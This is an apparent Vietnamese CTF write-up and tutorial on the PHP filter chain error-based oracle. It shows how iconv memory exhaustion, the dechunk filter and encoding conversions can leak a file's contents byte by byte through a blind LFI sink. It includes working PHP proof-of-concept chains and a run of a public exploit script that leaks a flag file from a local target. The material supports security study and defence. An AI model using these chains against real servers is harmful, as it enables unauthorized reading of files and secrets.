# PHP Filter Chain: File read from error-based oracle
###### tags: `LFI`
## Giới thiệu
Ví dụ ta có đoạn code sau
```php
<?php
//do something...
file($_GET['user_input']);
//do something...
?>
```
Hàm file có tác dụng sẽ đọc toàn bộ nội dung file, tuy nhiên sẽ không cho ra bất kỳ response gì.
Vậy thì nhìn vào đoạn code trên, liệu có khe hở nào cho attacker có thể thực thi LFI dẫn đến đọc được nội dung file hay không?
## File read with error-based oracle
Câu trả lời là hoàn toàn có thể, ta sẽ vận dụng kỹ thuật filter chain để kích hoạt error message từ đó đoán được nội dung file.
Nếu chưa quen thuộc với filter chain, mọi người có thể tham khảo bài này: https://hackmd.io/@endy/Skxms9eW2
### Ý tưởng
Nghe qua có vẻ hơi ảo nhưng mọi thứ đều là lợi dụng các hành vi sẵn có của ứng dụng và ngôn ngữ lập trình, cụ thể:
1. Ta dùng `iconv` để prepended thêm độ dài cho chuỗi đến khi nó vượt quá giới hạn cho phép để quăng ra error
2. Dựa trên error message và `dechunk` filter để đoán ký tự đầu tiên trong file.
3. Tiếp tục dùng `iconv` để swap các ký tự sau ra đầu.
4. Lặp lại các bước để tiếp tục đoán các ký tự trong file.
### Kích họat file size error
Trong PHP có một thông số gọi là `memory_limit`. Đây là thông số biểu thị dung lượng tối đa của một scripts có thể được cấp phát trong PHP
Nghĩa là nếu ta cố gắng include một file có kích thước quá lớn vượt qua `memory_limit`, PHP sẽ quăng ra lỗi như sau:
```bash
Fatal error: Allowed memory size of x bytes exhausted (tried to allocate x bytes) in /path/to/php/script
```
Ta có thể set giá trị cho `memory_limit` trong `php.ini` hoặc set trực tiếp trong src code, nếu không được set thì mặc định sẽ có giá trị là `128M`
```php
#php.ini
memory_limit = 2110M
#index.php
ini_set('memory_limit', '128M');
#defautl
memory_limit = 128M
```
Để có thể dùng filter chain kích hoạt overflow error, ta sẽ
dùng `iconv` để chuyển đổi sang `UCS-4` encoding, vì khi chuyển đổi sang UCS-4 các ký tự đều được nối thêm 6 bit là `\00\00\00`
```php
<?php
$string = "endy";
$result = iconv("UTF8", "UCS-4LE", $string);
echo(strlen($result)."\n");
echo(bin2hex($result)."\n");
echo($result."\n");
$result1 = iconv("UTF8", "UCS-4LE",$result);
echo(strlen($result1)."\n");
echo(bin2hex($result1)."\n");
echo($result."\n");
?>
```
```bash
$ php oracle_test.php
16
650000006e0000006400000079000000
endy
64
650000000000000000000000000000006e0000000000000000000000000000006400000000000000000000000000000079000000000000000000000000000000
endy
```
Nếu ta lặp lại quá trình chuyển đổi này 13 lần, thì sẽ vượt quá ngưỡng `memory_limit` mặc địch, và kích hoạt được error message
```php
<?php
$string = "endy";
for ($i = 1; $i <= 13; $i++) {
$string = iconv("UTF8", "UCS-4LE", $string);
}
?>
```
Output
```bash
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 67108928 bytes) in /mnt/d/My Workspace/CTF Write UP/php_filter_chain/oracle_test.php on line 6
```
### Cách dùng dechunk filter
`dechunk` là một method trong `php://filter` wrapper cho phép handle việc xử lý [`chunk tranfer encoding`](https://github.com/php/php-src/blob/PHP-8.1.16/ext/standard/filters.c#L1724).
Chunk tranfer encoding là một cơ chế truyền dữ liệu có sẵn trong HTTP 1.1 [[wiki]](https://en.wikipedia.org/wiki/Chunked_transfer_encoding)
Cơ chế này sẽ chia dữ liệu thành các chunk, mỗi chunk gồm 2 thành phần và ngăn cách nhau bởi CRLF
Cấu trúc của một chunk
```bash
4\r\n (chunk length)
endy\r\n (chunk data)
e\r\n (chunk length)
PHPfilterchain\r\n (chunk data)
```
Phần đầu tiên là độ dài của dữ liệu trong chunk (ở dạng hex), phần tiếp theo là chunk data. Hai phần được ngăn cách với nhau bởi CRLF
Và sau đây sẽ là hành vi của PHP khi ta sử dụng `dechunk` lên một đoạn dữ liệu thông thường:
```bash
$ echo "Vendy" > ./test
$ php -r 'echo file_get_contents("php://filter/dechunk/resource=./test");'
Vendy
$ echo "Aendy" > ./test
$ php -r 'echo file_get_contents("php://filter/dechunk/resource=./test");'
$ echo "aendy" > ./test
$ php -r 'echo file_get_contents("php://filter/dechunk/resource=./test");'
$ echo "2endy" > ./test
$ php -r 'echo file_get_contents("php://filter/dechunk/resource=./test");'
$ echo "Sendy" > ./test
$ php -r 'echo file_get_contents("php://filter/dechunk/resource=./test");'
Sendy
```
Ta có thể thấy nếu ký tự đầu tiên trong file nằm trong khoảng từ `0-9` và `a-f` thì `dechunk` sẽ xem ký tự đầu tiên này là `chunk length` và cố gắng parse dữ liệu trong file, tuy nhiên vì không có các ký tự CRLF nên quá trình parse không thành công, dẫn đến lỗi sẽ không xuất ra được gì
Còn nếu ký tự đầu là các ký tự còn lại khác, thì `dechunk` sẽ không cố gắng parse và bỏ qua, nên mới có thể xuất được kết quả
Kết hợp với cách trigger `memory_limit` error ở trên ta sẽ có thể biết được ký tự đầu tiên của file nằm trong khoảng nào
```php
<?php
$size_bomb = "";
for ($i = 1; $i <= 13; $i++) {
$size_bomb .= "convert.iconv.UTF8.UCS-4|";
}
$filter = "php://filter/dechunk|$size_bomb/resource=./test";
echo file_get_contents($filter);
?>
```
```bash
$ echo 'Vendy' > ./test
$ php oracle_test.php
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 100663296 bytes) in /mnt/d/My Workspace/CTF Write UP/php_filter_chain/oracle_test.php on line 10
$ echo 'aendy' > ./test
$ php oracle_test.php
```
Ta thấy nếu ký tự đầu tiên nằm trong khoảng `0-9` và `a-f` thì `dechunk` sẽ không trả về respone do đó không có lỗi overflow memory xuất hiện. Ngược lại nếu là các ký tự khác, `dechunk` sẽ trả về respone, sau đó nó được encode `UCS-4` 13 lần dẫn đến kích hoạt được error.
### Retrive first character.
Đầu tiên để giảm thiểu số lượng ký tự phải brute force, ta sẽ sử dụng format base64
#### Retrive các ký tự `a-e` và `A-E`
Để đoán được các ký tự trong khoảng này ta sẽ sử dụng [`CP930`](https://www.fileformat.info/info/charset/x-IBM930/encode.htm) encoding.

Ta dễ dàng thấy các ký từ `a-z` trong bảng `CP930` bị shift đi 1 so với trong bảng `ASCII`. Ví dụ ký tự `a` trong `ASCII` là 61 thì trong `CP930` lại là 62
Lợi dụng điều này ta có thể liên tục shift 1 ký tự thành các ký tự khác, chỉ bằng cách chain filter để chuyển đổi qua `CP930` liên tục
```php
<?php
$guess_char = "";
for ($i=1; $i <= 7; $i++) {
$remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";
$guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";
$filter = "php://filter/$guess_char/resource=./test";
echo "IBM-930 conversions : ".$i;
echo ", Char value : ".file_get_contents($filter)[0]."\n";
}
?>
```
```bah
$ echo 'aendy' > ./test
$ php oracle_test.php
IBM-930 conversions : 1, Char value : b
IBM-930 conversions : 2, Char value : c
IBM-930 conversions : 3, Char value : d
IBM-930 conversions : 4, Char value : e
IBM-930 conversions : 5, Char value : f
IBM-930 conversions : 6, Char value : g
IBM-930 conversions : 7, Char value : h
```
Cứ mỗi lần `convert.iconv.UNICODE.CP930` được thêm vào filter chain, thì `Char value` shift đi một vị trí
> $remove_junk_chars có công dụng để loại bỏ các ký tự invalid thông qua base64, cơ chế thì đã được nói ở bài filter chain rồi. Còn `convert.quoted-printable-encode` chỉ đơn giản chuyển những ký tự không in được thành dạng có thể in được
Bây giờ kết hợp 3 trick này lại với nhau ta sẽ có
```php
<?php
$size_bomb = "";
for ($i = 1; $i <= 13; $i++) {
$size_bomb .= "convert.iconv.UTF8.UCS-4|";
}
$guess_char = "";
for ($i=1; $i <= 6; $i++) {
$remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";
$filter = "php://filter/$guess_char|dechunk|$size_bomb/resource=./test";
file_get_contents($filter);
$guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";
echo "IBM-930 conversions : ".$i.", the first character is shifted ".($i-1). " (Value is " . "abcdef"[$i-1]. ")\n";
}
?>
```
```bash
$ echo 'aendy' > ./test
$ php oracle_test.php
IBM-930 conversions : 1, the first character is shifted 0 (Value is a)
IBM-930 conversions : 2, the first character is shifted 1 (Value is b)
IBM-930 conversions : 3, the first character is shifted 2 (Value is c)
IBM-930 conversions : 4, the first character is shifted 3 (Value is d)
IBM-930 conversions : 5, the first character is shifted 4 (Value is e)
IBM-930 conversions : 6, the first character is shifted 5 (Value is f)
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 119324672 bytes) in /mnt/d/My Workspace/CTF Write UP/php_filter_chain/oracle_test.php on line 15
$ echo 'bendy' > ./test
$ php oracle_test.php
IBM-930 conversions : 1, the first character is shifted 0 (Value is a)
IBM-930 conversions : 2, the first character is shifted 1 (Value is b)
IBM-930 conversions : 3, the first character is shifted 2 (Value is c)
IBM-930 conversions : 4, the first character is shifted 3 (Value is d)
IBM-930 conversions : 5, the first character is shifted 4 (Value is e)
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 91947008 bytes) in /mnt/d/My Workspace/CTF Write UP/php_filter_chain/oracle_test.php on line 15
$ echo 'vendy' > ./test
$ php oracle_test.php
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 67108864 bytes) in /mnt/d/My Workspace/CTF Write UP/php_filter_chain/oracle_test.php on line 15
```
Như đã giải thích ở trên, nếu ký tự đầu nằm trong khoảng `a-f` thì `dechunk` sẽ cố gắng parse nó, dẫn đến filter chain không cho respone. Sau đó ta sẽ nối thêm `convert.iconv.UNICODE.CP930` để dời đi một ký tự. Ta sẽ dời đến khi nào error message xuất hiện, nghĩa là khi này ký tự đã bị dời đến `g`. Căn cứ vào số lần shifted ta sẽ biết được ký tự đầu tiên là ký tự nào trong khoảng `a-f`. Ví dụ nếu bị shifted 5 lần nghĩa là ký tự đó đứng trước `g` 5 ký tự tương ứng với ký tự `b`
#### Retrive các ký tự `n-s` và `N-S`
Để đoán các ký tự từ `n-s` ta cũng dùng logic tương tự trên. Tuy nhiên ta sẽ thêm một filter là `string.rot13`
Filter này có tác dùng shift một ký tự đi 13 lần, nghĩa là `n,o,p,q,r` khi đi qua `string,rot13` sẽ trở thành `a,b,c,d,e,f`
```
$ echo 'nopqrs' > ./test
$ php -r "echo file_get_contents('php://filter/string.rot13/resource=./test');"
abcdef
```
Khi đã trở thành `abcdef` thì áp dụng như cách trên.
#### Retrive các ký tự khác trong bảng chữ cái.
Ý tưởng để retrive các ký tự khác cũng tương tự như trên, ta sẽ dùng filter chain để chuyển đổi giữa các bảng mã, sao cho các ký tự này trở thành a,b,c,d,e hoặc f
Ví dụ với chữ `Z`
Có giá trị là `0x5A` tại ASCII, nhưng khi chuyển qua CP285 (IBM285) thì tương đuong với `!`

Từ CP285 chuyển qua CP280 (IBM280) thì `!` có giá trị là `0x4f`

`0x4f` chuyển ngược về ASCII thì tương ứng với `O` sau đó ta dùng `string.rot13`, lúc này sẽ shift thành ký tự `B`, mà `B` thì sẽ trigger được overflow error.
```bash
$ echo "Z" > ./test
$ php -r "echo file_get_contents('php://filter/convert.iconv.CP285.CP280|string.rot13|/resource=./test');"
B
```
### Retriveving following character.
Đã có thể đoán được ký tự đầu tiên vậy thì làm sao để ta đoán được các ký tự đầu tiên ?
Có cách nào giúp ta di chuyển đến các ký tự ở sau hay không ?
Câu trả lời là có tuy nhiên ta sẽ không tìm cách để di chuyển đến các ký tự sau, mà ta sẽ tìm cách để swap các ký tự ở sau ra đầu.
Để làm được điều đó sẽ có một số bảng mã cho phép swap 2 bytes với 2 bytes, hoặc 4 bytes với 4 bytes.
Ví dụ:
```bash
$ echo -n abcdefgh > ./test
$ php -r 'echo file_get_contents("php://filter/convert.iconv.UTF16.UTF-16BE/resource=./test")."\n";'
badcfehg
$ php -r 'echo file_get_contents("php://filter/convert.iconv.UCS-4.UCS-4LE/resource=./test")."\n";'
dcbahgfe
$ php -r 'echo file_get_contents("php://filter/convert.iconv.UCS-4.UCS-4LE|convert.iconv.UTF16.UTF-16BE/resource=./test")."\n";'
cdabghef
```
Nguyên nhân của việc này là do thứ tự đọc bytes và thứ tự ưu tiên của các bảng mã là khác nhau, ví dụ với `UTF16` và `UTF16BE`. Mỗi ký tự được biểu diễn bởi 16 bits, đối với `UTF16` 8 bits sau là 8 bits quan trọng trong việc đọc dữ liệu, còn đối với `UTF16BE` thì 8 bits trước mới là quan trọng. Nên khi chuyển đổi qua `UTF16BE` 8 bits `UTF16` sẽ bị swap ra trước. Dẫn đến khi chuyển về `UTF8` để hiển thị ra thì thứ tự các chữ cái bị thay đổi.
`UCS-4` với `UCS-4LE` cũng tương tự nhưng thay vì 16 bits (2 bytes) thì là 32 bits (4 bytes)
Đó là 2-3 ký tự đầu, vậy thì còn những ký tự xa hơn thì sao.
Ta sẽ prepended thêm vào chuỗi, sau đó dùng `UCS-4` để swapp ký tự.

Như ta thấy thì ký tự thứ 5 đã được đưa ra trước.
### Retrieving 0-9 characters
Ta đã có thể đoán được các ký tự, vậy thì bây giờ làm sao để đoán được các chữ số ?
Đơn giản ta sẽ chuyển đổi chữ số thành các ký tự, bằng cách `base64 encode`. Vậy thì ta chỉ cần đoán được mã base64 của ta sẽ biết được đó là chữ số nào
Ta thấy mã base64 của các chữ số luôn bắt đầu bằng `M`, `N` hoặc `O`
| Digit | Base64 |
| -----------| ----------- |
| 0 | MA== |
| 1 | MQ== |
| 2 | Mg== |
| 3 | Mw== |
| 4 | NA== |
| 5 | NQ== |
| 6 | Ng== |
| 7 | Nw== |
| 8 | OA== |
| 9 | OQ== |
Ta thấy từ `0-3` sẽ bắt đầu với `M`, từ `4-7` sẽ bắt đầu với `N` còn từ `8-9` sẽ bắt đầu với `O`
Tiếp theo ta cần biết, mỗi ký tự trong base64 tương ứng với 6 bits, nghĩa là nếu một số 8 bits đổi sang base64 nó sẽ được biểu diễn như sau:

Chính vì thế nếu theo sau số có 1 ký tự nào đó, thì mã base64 sẽ bị biến đổi
Ví dụ : `1a` sẽ có mã base64 là `MWE` quá trình encode sẽ như sau

Ta có thể thấy nếu có thêm một ký tự sau chữ số thì ký tự thứ 2 sau ký tự đầu tiên sẽ bị thay đổi so với chỉ có một chữ số được encode
Vì lí do chỉ lấy 6 bits nên luôn luôn ký tự đầu tiên khi encode sẽ bị dư 2 bits, do đó ký tự encode thứ 2 sẽ nhận 4 bits từ ký tự plain text thứ 2

Từ những ký tự có thể in được của ASCII, là từ khoảng 32 đến 126 tức là từ `0010` đến `0111` (trừ `1111` vì 128 không nằm trong bảng mã ASCII). Từ đó ta sẽ có 6 trường hợp có thể xảy ra cho 4 bits được mượn này:
| Bits |
| -----------|
| 0010 |
| 0100 |
| 0011 |
| 0110 |
| 0111 |
| 0101 |
Từ đó khi ghép với 2 bits còn dư cửa chữ số ở vị trí đầu tiên ta sẽ được bảng các trường hợp như sau
| Character |base64-encoded first character |base64-encoded second character |
| ----------|----------|----------|
| 0 | M | C, D, E, F, G hoặc H|
| 1 | M | S, T, U, V, W hoặc X|
| 2 | M | i, j, k, l, m hoặc n|
| 3 | M | y, z hoặc 1 chữ số|
| 4 | N | C, D, E, F, G hoặc H|
| 5 | N | S, T, U, V, W hoặc X|
| 6 | N |i, j, k, l, m hoặc n|
| 7 | N |y, z hoặc 1 chữ số|
| 8 | O |C, D, E, F, G hoặc H|
| 9 | O |S, T, U, V, W hoặc X|
Có điều đặt biệt ở các trường hợp có thể xảy ra ở ký tự 2 của `3` và `7` có thể là một chữ số khác
### Tool automate
Kết hợp tất cả các lý thuyết ở trên ta sẽ dùng tool sau để brute force nội dung của file thông qua oracle error
Link script: https://github.com/synacktiv/php_filter_chains_oracle_exploit
#### Example
Tương tự với ví dụ đầu bài ta có đoạn code như sau
```php
<?php file($_POST[0])?>
```
Mục tiêu là đọc file `./flag`. Ta sử dụng script trên để exploit.
```bash
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1:1337 --file '/flag' --parameter 0
[*] The following URL is targeted : http://127.0.0.1:1337
[*] The following local file is leaked : /flag
[*] Running POST requests
[+] File /flag leak is finished!
b'RFVDVEZ7aV9sb3ZlX21pbmltYWxfcGhwLi4uPDMuLi5ob3dfYWJvdXRfeW91'
b'DUCTF{i_love_minimal_php...<3...how_about_you'
```
## Refer:
https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html
https://github.com/php/php-src/blob/PHP-8.1.16/ext/standard/filters.c#L1724
https://www.fileformat.info/info/charset/x-IBM930/encode.htm
https://hackmd.io/@endy/Skxms9eW2
https://github.com/php/php-src/blob/PHP-8.1.16/ext/standard/filters.c#L1724
https://en.wikipedia.org/wiki/Chunked_transfer_encoding
https://www.fileformat.info/info/charset/x-IBM930/encode.htm